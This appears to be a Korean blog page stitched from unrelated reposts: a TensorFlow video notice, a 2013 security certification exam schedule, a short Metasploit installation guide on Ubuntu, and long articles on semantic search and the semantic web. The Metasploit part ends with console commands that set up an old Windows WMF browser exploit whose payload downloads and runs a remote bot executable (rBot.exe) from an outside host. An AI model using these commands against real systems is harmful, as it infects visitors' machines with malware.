텐서플로우 인공지능으로 소설쓰기.

Writing novels with tensor flow artificial intelligence






텐서플로우 많이들 아시죠? 텐서플로우 설치와 기본은 하였는데, 구체적인 실습을 위하여 동영상으로 시연을 작성하여 보았습니다. 실습 데이터는 깃허브에 올려진 예제인 https://github.com/crazydonkey200/ten... 입니다. 제작과 편집은 "에스테크스타닷컴" http://www.stechstar.com / http://www.stechstar.com/user/zbxe/ 에서 하였습니다. 생애 처음 발표한 동영상강좌입니다. 부족하지만 앞으로 좋은 품질의 강좌를 연재할 계획입니다. 감사합니다.


 

 

 [한국인터넷진흥원] 2013년도 정보보안기사, 정보보안산업기사 자격검정 시행 일정입니다.

 

 

 

정보보안기사와 정보보안산업기사 자격은 2013년 신규 시행되는 '정보통신' 직무분야의 '정보기술' 중직무분야 기술계 국가기술자격으로 자격검정은 '한국인터넷진흥원(kisq.or.kr)'에서 시행합니다.

2013년도 정보보안기사, 정보보안산업기사 자격검정 시험 일정 관련 첨부파일과 내용은 고용노동부 웹사이트 알림마당 게시판에서 가져온 '2013년도국가기술자격검정시행계획(안)' 파일에서 관련 부분을 발췌한 후 편집하여 작성한 것입니다.
고용노동부 웹사이트 알림마당 원문

 

 



 

기타 문의사항은 아래 연락처로 문의해 주시기 바랍니다.
o 한국인터넷진흥원(보안산업지원팀)
  - 전화: 국번없이 118
  - 이메일: kisq@kisa.or.kr
  - 자격검정 홈페이지: http://kisq.or.kr, http://정보보안자격.한국
  ※ 이메일로 문의주시면 성심 성의껏 답변해 드리겠습니다.

 

 

 

 

 

 

 

 

 

 

 

 

 


[보안, 제로데이 취약점 분석] [우분투] MetaSploit 설치 및 기본

[출처] http://mcchae.egloos.com/10861669

 

MetaSploit 는 오픈소스 태생으로 HD Moore 라는 사람이 만든
취약점, 침입, IDS 시그니쳐 등에 관한 프레임워크 입니다.

처음에는 파이썬으로 개발되었다가 이후 ruby로 재 코딩을 했다고 하네요.

 


현재는 Rapid7 이라는 보안회사에 포함이 되어 사용으로 판매되고 있으나

프리 버전의 오픈소스는 계속 해서 진행되고 있습니다.

 


우분투에서 이를 설치하는 방법을 기술해 봅니다.

 


1) 설치 패키지

$ sudo apt-get install subversion ruby rubygems ruby-openssl libopenssl-ruby

 


2) 프레임웍 가져오기

$ cd

$ svn co https://www.metasploit.com/svn/framework3/trunk/

$ mv trunk metasploit

 


3) 실행

$ cd

$ cd metasploit

$ ./msfconsole

 


4) 간단한 취약점 해킹 서버로 변신

위의 콘솔 상태에서,

 

 

msf > use windows/browser/ms06_001_wmf_setabortproc

msf > set payload windows/download_exec

msf > set URL http://20.30.40.234/rBot.exe

msf > set SRVHOST 20.30.40.222

msf > set LHOST 20.30.40.222

msf > set URIPATH attack.html

msf > exploit

 


와 같은 식으로 설정합니다.

검색의 진화, 시맨틱 검색



지식 사회로의 진화

오랜 세월, 인간은 생명 유지에 치명적 영향을 미치는 두 가지 결핍 상황에 적응하기 위해 끊임없이 진화해 왔다. 음식과 영양의 결핍은 인간 몸에 지방을 축적하는 방식으로 에너지를 보존하도록 진화시켰으며, 인간의 뇌는 자신의 안전과 경쟁력 확보를 위해 채워지지 않는 정보 갈증을 느끼도록 프로그래밍 되었다. 근대 이후 산업과 정보 혁명의 풍요로움은 수억 년의 인간 진화가 더 이상 축복이 아닌 재앙이 될 수 있음을 암시하고 있다. 화학, 유전공학, 기계의 발전은 비료와 농약, 농기계를 포함해 농업 생산성과 유통 산업의 혁명을 가져 왔으며, 여전한 지역적 불균형 속에서도 인류는 그 어느 때보다 먹을 거리의 풍요로움을 누리게 되었다. 풍요의 속도가 진화의 속도를 크게 추월함으로, 지방 축적의 축복은 역설적이게도 비만과 고혈압, 당료 등, 만성 성인병의 주요 원인이 되어버렸다. 컴퓨터와 인터넷 중심의 정보통신 혁명은 풍요로움이 성장보다는 비만을 만들어 낼 수 있음을 다시 한번 증명해 보이고 있다. 이제는 정보가 없어서가 아니라 너무나 많은 정보에 무료로 접근할 수 있기 때문에, 의사결정 하기가 더욱 어려워졌으며, 더 많은 시간과 에너지를 투자해야 하는 역설적 상황이 된 것이다. 결국, 단순히 배를 채우는 것이 아니라 유기농 등 몸에 좋은 음식을 가려서 적게 먹듯이, 의사 결정과 경쟁력의 핵심이 되는 정보를 식별해 섭취할 수 있는 역량이 더욱 중요해진 것이다. 경영학의 구루, 피터 드러커 교수의 표현처럼 미래는 정보를 가진 사람이 힘을 갖는 것이 아니라, 의미 있는 정보를 식별하고 자신의 지식과 연결, 이를 행동으로 옮길 수 있는 능력을 가진 사람과 조직이 힘을 가지는 세상으로 진화할 것이다.

인터넷과 월드와이드웹(WWW)은 분명, 지식 사회로의 변이를 가속시키는 변곡점 역할을 해 왔다. 그림 1과 같이 그 시작은 정보의 생산과 유통 활성화에 따른 검색 서비스 경쟁력이 핵심이었지만, 정보의 양 보다는 질과 신뢰도가 중요해 짐에 따라 사람 중심의 인터넷인 소셜 네트워킹 서비스(SNS)로 그 무게 중심이 옮겨지게 되었다. 이미 패이스북의 일일 방문자 수가 구글을 넘어 섰으며, 마이크로소프트가 엄청난 액수로 스카이프를 인수 한다는 소식은 이러한 변화의 중요성을 실감하게 한다. 그러면, 이제 앞으로 다가올, 혹은 이미 시작된 그 다음 단계는 무엇이 될까? 최근 이 분야의 많은 전문가들은 방대한 데이터의 상호 연결과 의미 분석을 통해 숨은 정보를 발견하고, 궁극적으로 의사 결정을 보다 쉽고 정확하게 할 수 있는 단계로 발전하리라 믿고 있다. 그 핵심이 시맨틱 웹과 시맨틱 검색이 되리라 전망되는데, 이는 컴퓨터가 상호 연결된 데이터의 의미를 파악하고 분석함으로 중요 정보를 식별, 더 나아가 상황에 맞게 정보를 재조직 함으로 문제 해결을 위한 지식 확보를 가능하게 하는 것이다. 본 기고의 주제인 시맨틱 검색은 정보의 위치 파악이 목적인 기존의 키워드 검색과 달리, 방대한 개별 정보를 상호 연결하고, 분석함으로 그 안에 숨겨진 의미를 새롭게 발견, 올바른 의사 결정과 문제 해결을 지원함으로 지식기반 사회에서의 본질적 경쟁력을 확보하는데 그 목표를 두고 있다.



01.tech_img58.gif

시맨틱 검색의 개념

2000년 초, 이미 IBM, 마이크로소프트 같은 대기업과 주요 대학을 중심으로 시맨틱 검색에 대한 기초 연구가 시작되었다. 초기의 시맨틱 검색은 사용자 입력 키워드의 의미적 해석 혹은 의미 모호성 해소에 집중된, 언어 처리 관점의 협의적 시맨틱 검색 시스템 개발이 주류였다. 그 이후, 시맨틱 검색 영역은 방대한 비정형 데이터 연결과 분석, 정보 추천과 개인화, 더 나아가 위치기반 모바일 맞춤형 검색과 소셜 네트워크 및 지식 구조 분석에 이르는 매우 큰 영역으로 발전해 가고 있다.

표 1과 같이 시맨틱 검색을 5가지 유형으로 구분해 볼 수 있다. 의미 모호성 해소와 어휘 개념 확장 검색은 전통적으로 자연언어처리 부문에서 관심을 가졌던 영역으로, 의미 모호성 해소는 정보 검색의 정확율 향상이 주요 목표가 되며, 어휘 개념 확장의 경우 검색 재현율을 향상시키는데 초점이 맞춰져 있다. 개체 특성 확장과 연관 주제 확장의 경우, 정보가 가진 특성을 구체적으로 이해하고, 관련 정보간의 상호 관계를 파악함으로, 숨은 의미를 이해할 수 있도록 한다. 최근 큰 관심을 받고 있는 의도기반 검색(intent based search)은 사용자의 검색 의도와 목적을 파악하고, 그에 적합한 정보와 연관 서비스를 추천하는 것을 목표로 한다. 의도기반 검색을 구현하기 위해서는, 사용자 의도를 올바르게 인지하고, 이를 서비스와 연결하기 할 수 있는 기술의 확보가 필수적이며, 사용자 상황 인지, 사용자 피드백 학습, 대화형 UX를 통한 의도 구체화 등의 매우 다양한 방법론이 연구되고 있다. 주목할 점은 구글, 마이크로소프트, 애플 등의 세계적 기업들이 지난 3년간 Powerset, Metaweb(Freebase), Siri 등을 인수 하고, 시맨틱 검색 관련한 내부 연구 개발 조직을 확대, 강화하여 그 사업 범위를 빠르게 확대해 나가고 있는 것이다.


02.tech_img59.gif


시맨틱 검색과 기존 검색 시스템과의 가장 큰 차이점은, 인덱스의 구조에서 찾아 볼 수 있다. 기존 검색 시스템은 형태소 분석 등의 과정을 통해 문서로부터 키워드(토큰)를 추출해 내고, 이들을 역파일(invert file) 구조의 인덱스에 저장 하게 된다. 반면에 전형적인 시맨틱 검색 시스템은 문서로부터 시맨틱 네트워크를 추출, 이를 그래프 구조로 지식베이스에 저장하고 검색 시에는 지식베이스에 질의(query)하는 방식을 취하게 된다. 매우 다양한 관점의 시맨틱 검색 기술이 개발되고 있으나, 어떤 형태던 시맨틱 네트워크로 정보가 표현, 재구성되어 지식 베이스에 저장, 질의 하는 형태로 재구성될 수 있다. 시맨틱 네트워크는 개념(컨셉, 용어)과 그들간의 관계가 표현된 지식 표현 방법 중 하나이다. 그림 2는 두 시스템의 차이점을 잘 설명하고 있다.

시맨틱 검색 기술의 핵심은 엄청난 양의 비정형 정보로부터 품질 좋은 시맨틱 네트워크를 어떻게 자동 생성, 저장하고 관리할 수 있는가 이다. 과거에는 시소러스나 워드넷과 같은 언어학적 시맨틱 네트워크를 사람의 손으로 일일이 만들어 왔으나, 상용 목적의 거대한 검색 시스템 개발을 위해 사람이 손으로 작업하는 것은 불가능해 졌다. 최근에는 문서로부터 시맨틱 네트워크를 자동 추출, 구성하기 위해 기존의 자연언어 처리뿐 아니라, 텍스트마이닝을 포함한 다양한 기계 학습 기술들, 추론 등의 보다 진보적인 AI 기법들이 상호 통합되어 적용되고 있다. 이러한 시맨틱 검색 기술의 발전은 정보를 정확히 잘 찾는 1차 목적의 달성뿐 아니라, 검색된 방대한 정보에 대해 그들의 상관 관계, 숨어 있는 이면 정보, 트랜드와 이슈 분석, 요약, 시각화 하는 등의 2차적 심층 분석 기능을 구현하는 방향으로 발전하고 있다.
03.tech_img60.gif


그림 3은 사용자 관점에서의 비정형 정보 검색과 분석의 진화 단계를 보여준다. 모든 정보시스템 구현의 시작은 정보를 생산하고 안전하게 저장하는 구조를 확보하는 것이다. 우리는 이 단계를 level 0로 정의한다. 정보가 쌓여가기 시작하면, 이를 관리하고 싶어진다. 디렉토리를 만들어 분류를 하거나, 제목, 날짜 등의 메타데이터로 태그를 다는 형태가 전형적이다. 초기 야후는 이 방법을 통해 시장 선점이 가능했다. 그러나 관리체계가 잘 갖추어진 경우도 문서의 수가 수백만 개 이상이 되면, 심지어 웹과 같이 수천억, 수조 개 이아 활용하는 것이 점점 어려워 진다. 이때가 비로서 정보검색의 중요성이 인식되는 단계인 level 2가 된다. 구글은 혁신적인 저장 및 인덱싱 구조와 성능 좋은 랭킹 알고리즘을 통해 엄청난 양의 문서로부터 사용자 만족도가 높은 검색 성능을 달성할 수 있었다. 구글은 level 2 단계에서 지배자가 된 것이다.

기존 검색 시스템이 제공하는 방대한 정보에의 빠른 접근성은 상당기간 시장을 만족시켜 왔다. 그러나 이제는 검색 결과 조차 사람이 모두 읽고 이해하기 힘들 정도로 많아지게 되었고, 단지 특정 키워드를 포함하는 문서를 찾아 주는 것으로는 사용자 욕구를 충족하기가 점점 힘들어 지고 있다. Level 3 발견성 확보와 level 4 분석성 제공은, 검색 결과를 정리, 요약, 분석함으로 그 안에 숨겨진 핵심 정보와 상호 연관성, 트랜드 등의 패턴을 이해하도록 돕는다. 특히, 텍스트마이닝 기술은 방대한 비정형 정보로부터 의미 있는 정보를 추출하거나 재조직화 함으로, 정보의 발견성을 더욱 용이하게 한다. 시맨틱 검색의 최종 목표는 의사 결정 지원이며, 이를 위해서는 시맨틱 웹 기술에 기계 학습 등의 마이닝 기술이 적용된 시맨틱 마이닝 기술의 확보가 관건이 될 것이다. 향후 5년 내에 시맨틱 마이닝 기술의 발전과 검색 서비스에의 결합은 실질적인 시맨틱 검색 서비스 시스템 출시를 가능하게 할 것이며, 2020년 무렵에는 데이터 지능화를 통한 예측성 수준에 이르게 될 것으로 기대된다.

04.tech_img61.gif



시맨틱 검색 구현 사례

국내에 가장 잘 알려진 구현 사례는 네이트의 시맨틱 검색 서비스일 것이다. 현재는 그 열기가 시들해진 면이 없지 않으나, 시맨틱 검색의 가능성을 제시한 중요 사례 중 하나가 되었다. 네이트 시맨틱 검색은 표 1을 기준으로, 개체 특성에 대한 확장 검색 기능을 제공하고 있는데, 시맨틱 검색 전 영역을 소화해 내지 못한 아쉬움이 크다. 지난 몇 년간 기업 및 공공 서비스에서의 시맨틱 검색 시스템 도입 사례가 급격히 증가하고 있다. 그림 4는 국가기록원과 용인시청의 시맨틱 검색 사례를 보이고 있다. 국가기록원은 ISO/IEC 11179 기반의 시맨틱 MDR을 구현하고 검색 시스템와 연계함으로 시맨틱 검색 체계를 확립하였으며, 용인시청의 경우 민원정보에 대한 온톨로지 구축과 검색 문서를 상호 연결함으로 시맨틱 검색 서비스 체계를 확보하였다. 그 외에 다양한 공공기관에서의 시맨틱 검색 도입이 추친되고 있는데, 향후 그 도입 사례가 크게 늘 것으로 예상된다.

민간 부문에서의 시맨틱 검색 도입은 두 방향으로 진행되고 있다. 하나는 KM, EP 등의 기업 내 업무 시스템에 적용되는 것이고, 두 번째는 스마트폰, 소셜 네트워킹 서비스(SNS) 등 새로운 서비스 환경에서의 개인 맞춤형 정보 및 서비스 추천 서비스로 발전되는 것이다. 그림 5는 기업 내 시맨틱 검색 환경 구현 사례를 보인다. 기존 시스템과 다르게 내부 정보뿐 아니라 외부 정보를 연계 통합하고, 상호 연결함으로 의미기반 검색과 통합 분석을 가능하게 한다. 특히, 검색 결과에 대한 요약과 시각화, 다차원 분석 기능은 기업의 의사결정 비용을 효과적으로 절감할 수 있도록 돕는다. 그림 6은 소셜 네트워크로부터 사용자들의 평판과 여론을 분석하고, 스마트폰 상에서 위치 기반의 정보를 추천하는 어플리케이션인 ‘보따리’와 부산시에서 구축한 지식네트워크 분석, 검색 서비스인 ‘부산지식네트워크’ 서비스 시스템의 사례이다. 보따리는 지역 및 지리정보를 트리플 기반의 지식베이스로 구현하고, SPARQL EndPoint를 통해 모바일 단말과 실시간 연결한다. 또한, 트위터로부터 수집된 사용자 의견으로부터 평판을 분석하고 지역 정보와 연계함으로, 해당 지역의 중요 POI에 대한 정보 추천 서비스를 제공하게 된다. 부산지식네트워크 서비스는 표1의 시맨틱 검색 영역의 상당부분을 포괄하고 있으며, 시맨틱 검색의 대표적 구축 사례로 꼽히고 있다. 논문과 기고문 등을 분석해 전문 지식 네트워크를 도출하고, 이와 관련된 전문가들을 연결, 추천하는 기능을 가지고 있으며, 전문가들 간의 친밀도나 소셜 네트워크를 분석, 보고하는 기능을 제공하고 있다.

05.tech_img62.gif

06.tech_img63.gif



향후 발전 방향

지난 5년간 시맨틱 검색 기술은 연구개발 단계에서 상용화 단계로 빠르게 발전해 왔다. 다양한 시장 도입 사례들은 실용적인 시맨틱 검색 서비스 구현이 가능함을 증명해 보였고, 스마트폰을 통한 모바일 서비스와 소셜 검색 및 분석 시장의 성장은 시맨틱 검색 역할을 더욱 중요하게 만들고 있다. 조만간에 트위터 등을 통해 흐르는 엄청난 양의 실시간 정보를 분석함으로 기업은 고객 목소리를 이해, 시장 경쟁력을 향상시킬 것이고, 정부는 올바른 여론 인식과 정책 입안이 가능해 질 것이다. 그리고는, 시맨틱 검색 기술이 보다 높은 수준의 AI 기술과 접목됨으로, 방대한 데이터 분석과 지능화를 통한 미래 예측과 추론이 가능하게 될 것이다. 멀지 않은 미래에, 방대한 비정형 데이터를 실시간 분석, 지능화하는 플랫폼을 보유한 기업이 나타날 것이며, 구글의 자리를 대치하게 될 것이다. 그러한 세계적 기업이 한국에서 나올 수 있기를 고대해 본다.



About Saltlux Inc

솔트룩스는 기업용 검색솔루션 및 정보 마이닝, 시맨틱 웹, 유비쿼터스 컴퓨팅 등 차세대 웹 및 지식 서비스 전문기업입니다. 정보 마이닝 및 시맨틱 기술 부문에서는 국내 1위 기업으로서의 시장을 확보하고 있으며, 미국 및 유럽의 세계적인 기업 및 연구 단체들과 공동연구 및 협력을 통해 세계적인 기술력을 보유하고 있습니다.



주요사업영역 및 핵심기술

- 핵심기술 : 빅데이터 처리, 분석 마이닝 기술, 시맨틱 기술
- 시맨틱 검색 : 초대용량 시맨틱 검색, 고정밀 텍스트 마이닝, 소셜 검색 및 분석
- 데이터 지능화 : 서비스 개인화, 추천, 상황인지, Geo-Semantic, 지능형 모바일 서비스
- 웹 3.0 : 시맨틱 웹, LOD, 온톨로지, 추론엔진, 소셜 미디어 분석(트랜드, 평판)









출처 : 한국데이터베이스진흥원

제공 : DB포탈사이트 DBguide.net

시맨틱 웹 : 기술을 넘어 서비스 플랫폼으로



많은 관심과 기대를 받았던 시맨틱 웹, 과연 웹 환경의 변화와 산업적 가치를 창출할 수 있을 것인가? 소위 웹 2.0이라는 패러다임의 다음은 무엇이 될 것인가? 웹 3.0? 시맨틱 웹? 이제 우리는 시맨틱 웹을 보는 시각을 산업 인프라 기술로, 보다 발전된 데이터의 웹으로, 다양한 플랫폼의 혁신적 서비스 인프라로 인식해야 할 것이다. 눈에 보이지 않는 시맨틱 웹을 볼 줄 아는 통찰과 조급하지 않은 인내심, 발전 단계를 무시하지 않는 원칙적 접근이 한국에서의 시맨틱 웹 산업을 발전시킬 근간이 될 것이다.



IT 환경의 변화와 시맨틱 웹



IT환경의 변화와 산업적 기회



1770년 이후 시작된 이른바 산업혁명은 섬유산업 발전과 철강산업, 철도와 자동차에 이르는 거의 200년에 걸쳐 인류에게 큰 혜택과 동시에 어두운 그림자를 만들어왔다. 산업 혁명 과정을 잘 살펴보면, 매 30~50년마다 새로운 혁신 산업이 태어나고, 각 신흥 산업은 국가와 세계 경제의 주요 성장 엔진으로 자리매김하게 된다. 이러한 산업적 발전과 흐름은 산업 사회를 지나 정보 사회에 이르러서도 여전히 공식처럼 작동되고 있음을 발견하게 된다. 1940년대 시작된 컴퓨터 산업은 1990년에 이르러 중흥을 맞이하게 되고, 2000년대에는 산업 자체의 성장은 멈춰진 듯 보인다. 인터넷과 웹에 기반한 산업도 1980년대에 시작되어 한차례 큰 어려움을 격어 내고, 20년 만에 가장 수익성 좋은 산업으로 자리매김하였다. 각 산업적 혁신은 시장에서의 걸출한 영웅을 배출하게 되는데, 자동차의 포드, 컴퓨터나 반도체의 IBM과 인텔 그리고 인터넷에서의 구글과 야후 등을 예로 들 수 있을 것이다. 재미있는 사실은 각 산업의 초기 단계에서는 영웅적 창업자들이 그리 환영 받지 못했거나, 심지어는 비웃음을 받기도 했다는 것이다. 한 때, PC통신 시대의 산업적 리더들이 인터넷과 웹의 패러다임을 이해하지 못하고, PC통신의 부가 서비스 혹은 개선 관점으로 접근함으로, 모두 시대의 뒤안길로 사라진 사실을 상기할 필요가 있겠다.

이러한 산업의 혁신과 발전의 역사는 창의적 사업가들에게 엄청난 기회를 제공해 왔고, 이제 2010년을 바라보며, 새로운 성장 동력으로서의 산업이 발견되리라는 희망을 다시금 가지게 한다. 지난 몇 년간 주목 받고 있는 대표적 기술 혁신 산업을 보면 바이오, 나노, 유비쿼터스 등을 들 수 있을 것이다. 이중 유비쿼터스 패러다임은 지식정보의 처리와 차세대 이동 통신, 광대역 네트워크 기술 도입과 함께, 웹과 인터넷에서도 새로운 산업적, 기술적 발전을 가속화 시키고 있다. 본 칼럼에서는 시맨틱 웹 혹은 시맨틱 웹 기술이 새로운 산업적 혁신의 인프라로서 어떤 역할을 할 수 있을지, 어떤 과제를 가지고 있는지 살펴 보고 기술 비전과 산업 현실 사이에서 고민하고 있는 한국의 현 주소를 말하고자 한다.

01.20121226_saltlux_01.png
그림 1. IT 기술 환경의 변화 (솔트룩스. 2007)



Web 2.0, 시맨틱 웹 그리고 Web 3.0 ?



2006년도에 미국에 출장을 갔다가 웹의 발명자이며, W3C의 수장을 맡고 있는 팀 버너스리(TBL)를 만나 이런 저런 얘기를 나눈 적이 있다. 그 중 가장 기억에 남는 대화는 “웹 2.0”에 대한 내용이었다. 많은 사람들이 TBL에게 웹 2.0에 대해 어떻게 생각하는지를 물었고, 그의 태도와 입장은 명확했다. 소위 “웹 2.0”이라고 얘기되는 것은 자신이 제창했던 원래의 웹(웹 1.0?)과 크게 다름이 없으며, Ajax와 같은 기술적 요소와 응용적 발전은 높게 평가할 만 하지만, 이는 이미 기존 웹이 가지고 있던 잠재력 이었다는 것이다. 같인 시기에 미국의 동부와 서부에서 각각 열린 “인기 절정의 웹 2.0 컨퍼런스”와 “시맨틱 웹 컨퍼런스”에서 그가 후자를 선택해 참여했음이 이러한 그의 관점을 잘 설명해 준다고 생각한다. 어째든 TBL의 말처럼, 웹 2.0 없이 시맨틱 웹만으로도 좋으나, 시맨틱 웹과 웹 2.0 개념이 함께할 때 더 좋다는 말에 나는 적극 찬성을 하고 있다.

최근 인터넷과 웹이 데스크탑과 브라우저 밖으로 확장해 감으로 이제는 “웹”의 정의가 점점 더 모호해지고 있다. 초기의 웹(The Web)은 인터넷을 통해 하이퍼텍스트로 연결된 문서들의 세상이고 웹 브라우저를 통해 웹 페이지와 콘텐트들을 접근할 수 있는 것이다라고 인식 되었다면, 이제는 W3C에서 정의한 것처럼, “네트워크를 통해 접근 가능한 인간 지식 표현의 세상”이라고 해도 과언이 아니다 주). 기본적으로 URI와 XML(혹은 HTML) 문법, name space가 사용되어 네트워크를 통해 접근 가능한 뭔가가 있다면, 이미 그 자체가 웹의 한 구성 요소가 되어 있는 것이다. 이러한 확장된 웹의 개념은 현재 모바일 웹과 유비쿼터스 웹 그리고 시맨틱 웹 부문에서 표준화 과정을 밟으며, 활발히 논의, 발전되고 있다.

웹 2.0에 대한 관심이 조금 시들해 지고, 현재의 웹 산업이 성숙되었다는 인식이 확산되면서, 차별화되는 뭔가의 차세대 웹에 대한 예측과 논의, 논쟁이 활발히 진해되고 있다. 특히, 2006년경에 미국 쪽에서 본격적으로 거론되기 시작한 웹 3.0 관련 논의가 이제 웹 상에서 벌써 100만개 이상의 문서와 웹사이트가 검색될 정도로 관심의 대상이 되었다. 개인적으로는 웹에 숫자를 붙여가는 식으로 선을 긋는 다는 것에 거부감을 가지고 있는 편이지만, 때로는 시장과 고객에게 설명하기 쉽다는 관점에서 너그럽게 수용해 보기도 한다. 웹 3.0에 대한 분분한 예측과 논쟁을 정리해 보면, (1)시맨틱 웹 혹은 데이터의 웹(web of data), (2)실행 가능한 웹(executable web) 정도로 크게 나누어 볼 수 있을 것이다주1). 이러한 차세대 웹 환경은 보다 똑똑해진 서비스 구현이 가능하고, 개인 맞춤형과 추천이 핵심이 될 수 있는, 그리고 다양한 서비스 개체들이 상호 참조, 재활용 될 수 있는 플랫폼을 제공하게 될 것이라는 데 큰 이견은 없어 보인다. 종합해 보면, 차세대 웹은 시맨틱 웹 기술 인프라 위에, 플랫폼, 집단지성 등의 웹 2.0의 사업적 사상과 확장성, 개인 맞춤형, 추천과 같은 유비쿼터스의 상황인지적, 이음세 없는 서비스의 패러다임이 결합된 형태로 발전할 것으로 예측된다.



시맨틱 웹은 인공지능(AI) 웹인가?



시맨틱 웹의 표준화 과정에서 온톨로지와 로직, 추론이라는 범위가 포함됨으로, 시맨틱 웹이란 것이 실패한 인공지능의 재포장이 아니냐는 의혹과 공격을 받아 왔다. 인공지능 관련한 기술과 이론이 산업의 대단히 많은 부문에서 숨은 성과를 낸 점을 고려 했을 때, 과거의 연구가 실패했다고 단정해 버리는 것에 문제 제기하고 싶으나, 이보다 더 중요한 점은 시맨틱 웹과 인공지능을 동일시 하는 실수를 하지 말아야 한다는 점이다. W3C와 TBL은 시맨틱 웹이 고민되던 가장 초창기부터 시맨틱 웹이 인공지능이 아니라고 명확히 선언하고 있다.주2) 시맨틱 웹은 그 정의대로, 기계가 읽고 처리할 수 있는 잘 정의된 “데이터의 웹”이다. 얼마 전 TBL은 시맨틱 웹과 AI의 관계를 다음과 같이 정리하였다. “시맨틱 웹은 AI가 아니고, AI는 시맨틱 웹이 아니며, AI는 연구 분야고, 시맨틱 웹은 프로젝트이다. AI는 시맨틱 웹에 많은 기여를 하였고, 마찬가지로 시맨틱 웹은 AI 활동의 장이 될 수 있다.주3)” 사실 AI를 어떻게 정의 내릴 수 있는가도 큰 토론 주제이지만, 사람처럼 행동하거나 사고하는 시스템, 혹은 논리적(합리적)으로 행동하고 사고하는 시스템이라는 고전적 정의주1)를 기준으로 보면, 시맨틱 웹은 AI와 적당한 거리를 두고 있고, 상호 협력적 기여를 할 수 있는 존재임이 분명하다.

시맨틱 웹은 데이터의 웹이라는 관점에서, 웹 상의 다양한 서비스와 데이터들이 상호운용(interoperable)되기 위한, 그리고 사람과 기계, 기계와 기계가 지식 정보를 상호 명확히 정의하고 교환할 수 있는 공통 언어 및 아키텍처의 표준이라 할 수 있다. 이런 관점에서는 시맨틱 웹을 URI와 XML name space, RDF 측면에서 더 잘 관찰해 볼 필요가 있다. 시맨틱 웹은 모든 단위 데이터 혹은 지식 정보를 트리플(triple)로 표현하며 이 트리플은 URI와 XML 문법을 따르고 name space를 가질 수 있다. 데이터를 그래프 구조의 트리플로 표현한다는 것, 이것이 시맨틱 웹의 기본이다. 그리고 그 위에 상호운용과 의미 모호성 배제를 위한 스키마가 존재하게 되는 것이다. AI가 사고와 행동을 중시하고, 이를 위해 지식 표현과 로직을 사용한다면, 시맨틱 웹은 1차적으로 상호운용을 목적으로 한 웹 상의 데이터가 중시되는 것이다. 그리고 그 위에 지식 표현과 로직이 적용되어야 한다.

2004년 RDF, OWL 등의 시맨틱 웹 체계와 언어가 표준화되면서, 많은 연구자들이 데이터 보다는 지식 표현과 로직에 집중하는 경향이 있었다. 그리고 시맨틱 웹과 OWL을 동일시 하거나, OWL 중 Description Logic을 시맨틱 웹 언어의 전체로 인식하는 오해를 받기도 했다. 어째든 이런 과정을 거치며, 지난 4년간 얻은 큰 기술적 소득은, 트리플 정보의 자동 생성, 수십억 개 이상의 대용량 트리플 저장과 관리, 향상된 SPARQL 질의 엔진 등의 상용 기술 확보와 이에 기반한 여러 산업적 성공 사례들을 경험하게 되었다는 것이다.

2008년에 들어서면서 적어도 미국 시장에서는 시맨틱 웹 기술이 산업적 탄력을 받고 있는 것으로 보인다. 이러한 시장의 관심은 시맨틱 웹을 표방한 수 많은 벤처 기업을 탄생 시키고, 오라클, 야후, IBM 같은 거대 기업이 시맨틱 웹 플랫폼과 시맨틱 검색 엔진을 출시하도록 만들었다. W3C 내에서도 상용적, 실용적 시맨틱 웹을 위한 부단한 노력을 기울이고 있다. 이중에 RDFa와 GRDDL은 초기 시맨틱 웹 활성화를 위한 중요한 요소라고 할 수 있다. 또한, 온톨로지와 로직 관련해서도 보다 실용적 프로젝트들이 추진 중인데, 논리 표현 수준을 낮추면서 실용 수준의 고속 추론이 가능한 OWL 1.1의 제안이 대표적인 활동이라 하겠다.

02.20121226_saltlux_02.png
그림 2. 표준화 진행 중인 OWL 1.1 (솔트룩스/W3C, 2007)

앞에서 설명한 것처럼, 상호운용성은 시맨틱 웹의 존재 이유 중 하나이다. 시맨틱 웹의 근간이 데이터의 웹임이 분명하고 데이터 없이 시맨틱 웹은 존재할 수 없다. 그러나, 또한 “시맨틱”이라는 용어가 의미하듯이 단순한 단위 데이터(트리플)들의 집합이 시맨틱 웹이 될 순 없다. 데이터들의 의미 모호성 해소, 명시성 확보, 데이터와 서비스의 공유와 교환을 위해서는 공통의 언어(common language)가 필요하며, 이것이 단순하던 복잡하던 웹 온톨로지가 필요한 이유이다. 온톨로지(RDFS, OWL)가 참조되지 않은 RDF 데이터의 집합은 시맨틱 웹이라기 보다는 웹에서 접근 가능한 그래프 구조의 데이터 집합일 뿐이다.



시맨틱 웹은 오래된, 이미 실패한 기술인가?



최근, 소프트웨어 산업뿐 아니라 국제 산업 환경 전반에 위기감이 고조되고 있다. 특히 원자재 수입 및 완제품 수출 의존도가 매우 높은 한국 경제의 경우 환율, 유가, 원자재가 등의 예측되지 않는 경영 환경 변수의 변동이 경영자들에게 큰 스트레스가 되고 있는 것이 사실이다. 어려운 국제 사업 환경에서도 한국이 반드시 성공할 수 밖에 없는 가장 큰 본질적 경쟁력을 하나만 든다면, 주저함 없이 “스피드”를 고를 수 있을 것이다. 서양의 200년을 50년이라는 짧은 시간에 믿지 못할 속도로 성장을 이루어 낸 한국인들에게는 외국인보다 4배는 빠른 시계를 가지고 있음이 확실하다. 인터넷을 포함해 IT전반에서의 이러한 속도 경쟁력, 새로운 것에 대한 수용성, 불편함을 좀처럼 참기 힘들어 하는 습성은 지금의 한국을 만들어 준 가장 큰 동력 중 하나라고 평가할 만 하다. 오죽하면 한국에서는 당연히 여겨지는 당일, 현장 휴대폰 A/S가 서양 사람들에게는 감동이 되었을까. 문제는, 2만불 국민소득 시대가 되니 이러한 “빨리 빨리” 경쟁력에 가리워졌던 그늘들이 하나 둘씩 성장의 뒷다리를 잡더라는 것이다. 가장 큰 문제 중 하나는 거의 모든 부문에서 장기적 안목으로 차분히 발전 전략을 추진하지 못하고, 압축해서 해결해 버리려고 하며, 조급하게 단정하고, 성공과 실패를 규정해 버리는 것이다.

특히, 기술부문에 있어서는 케케묵은 문제가 새삼 한국 경제 성장의 한계로 작용하고 있다. 바로 핵심 기술, 원천 기술의 결여와 같은 것인데, 응용 기술로 빠른 성장 전략을 구사했던 한국은 속도와 장기적 안목이라는 두 가치 사이에서 딜레마에 빠진 것이다. 이러한 특성은 소프트웨어 산업과 웹 기반 서비스 산업에서도 공통된 문제로 작용하고 있다. 새로운 기술과 사업의 장기적 안목을 가지지 못하고, 핵심 기술 개발과 산업 기반 확보 등의 과정을 생략하고 응용과 활용 기술에서 승부를 보고자 하기 때문이다.

